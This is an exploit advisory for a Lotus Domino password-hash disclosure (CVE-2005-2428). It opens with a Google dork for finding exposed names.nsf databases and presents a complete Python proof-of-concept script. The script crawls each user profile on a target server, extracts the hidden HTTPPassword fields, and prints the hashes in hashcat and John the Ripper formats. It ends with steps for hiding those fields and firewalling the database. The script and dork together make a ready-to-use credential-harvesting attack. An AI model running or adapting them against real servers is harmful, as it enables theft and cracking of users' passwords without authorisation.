# Exploit Title: IBM Lotus Domino <= R8 Password Hash Extraction Exploit
# Google Dork: inurl:names.nsf?opendatabase
# Date: 02-24-2016
# Exploit Author: Jonathan Broche
# Contact: https://twitter.com/g0jhonny
# Vendor Homepage: https://www-01.ibm.com/software/lotus/category/messaging/
# Tested on: Lotus Domino 8.5
# CVE : CVE-2005-2428

1. Description

IBM Domino Databases contain a configuration issue allowing users to obtain password hashes, configuraiton information and more from the Public Address Book (i.e., names.nsf database). Password hashes are obtained from the hidden HTML HTTPPassword and dspHTTPPassword fields per user in the database.

2. Proof of Concept

#!/usr/bin/env python2

import requests, re, BeautifulSoup, sys, argparse, os
requests.packages.urllib3.disable_warnings()


parser = argparse.ArgumentParser(description='Domino Effect - A Lotus Domino password hash tool by Jonathan Broche (@g0jhonny)', version="1.0")
parser.add_argument('system', help="IP address or hostname to harvest hashes from. ")
parser.add_argument('-u', '--uri', metavar='path', default="/names.nsf", help="Path to the names.nsf file. [Default: /names.nsf]")
outgroup = parser.add_argument_group(title="Output Options")
outgroup.add_argument('--hashcat', action='store_true',  help="Print results for use with hashcat.")
outgroup.add_argument('--john', action='store_true', help="Print results for use with John the Ripper.")

if len(sys.argv) == 1:
    parser.print_help()
    sys.exit(1)

args = parser.parse_args()
print "\nDomino Effect {}\n".format(parser.version)

headers={'User-Agent':'Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3'}


try:
    response = requests.get("https://{}{}/People?OpenView".format(args.system, args.uri), verify=False, headers=headers, timeout=3)
except requests.exceptions.Timeout as e:
    print "[!] Timed out, try again."
    sys.exit(1)
except Exception as e:
        print e

soup = BeautifulSoup.BeautifulSoup(response.text)

links = []

#grab all user profile links
for link in soup.findAll('a'):
    if "OpenDocument" in link['href']:
        if link['href'] not in links:
	        links.append(link['href'])

hashes = {}
for link in links: #get user profile
    try:
        response = requests.get("https://{}{}".format(args.system, link), verify=False, headers=headers, timeout=2)
    except requests.exceptions.Timeout as e:
        pass
    except Exception as e:
        print e

    if response.text:
        soup = BeautifulSoup.BeautifulSoup(response.text)

        name = soup.find('input', {'name' : '$dspShortName'}).get('value').strip() #short name
        httppassword = soup.find('input', { "name" : "HTTPPassword"}).get('value').strip()
        dsphttppassword = soup.find('input', { "name" : "dspHTTPPassword"}).get('value').strip()
        
        if httppassword and httppassword not in hashes.keys():
            hashes[httppassword] = name
        elif dsphttppassword and dsphttppassword not in hashes.keys():
            hashes[dsphttppassword] = name      

if hashes: #output
    if args.hashcat or args.john:
        if args.hashcat:
            for h in hashes.keys():
                print h
        if args.john:
            for h, n in hashes.items():
                print "{}:{}".format(n,h)
    else:
        for h, n in hashes.items():
            print "[*] User: {} Hash: {}".format(n, h)


print "\n{} hashes obtained\n".format(len(hashes))

3. Solution

To hide the HTTP password from the HTML source: 

1) Open the $PersonalInheritableSchema subform (In the designer under Shared Code, Subforms).
2) Find the fields: $dspHTTPPassword and HTTPPassword.
3) In the field properties for both fields, on the hide tab under "Hide paragram from" check off "Web browsers".
4) Open the Person form (Under Forms).
5) In the form properties, on the 2nd tab, disable the option "Generate HTML for all fields".

In addition, ensure proper firewalls are in place within your environment to prevent public exposure of the names.nsf database and other senstive files.
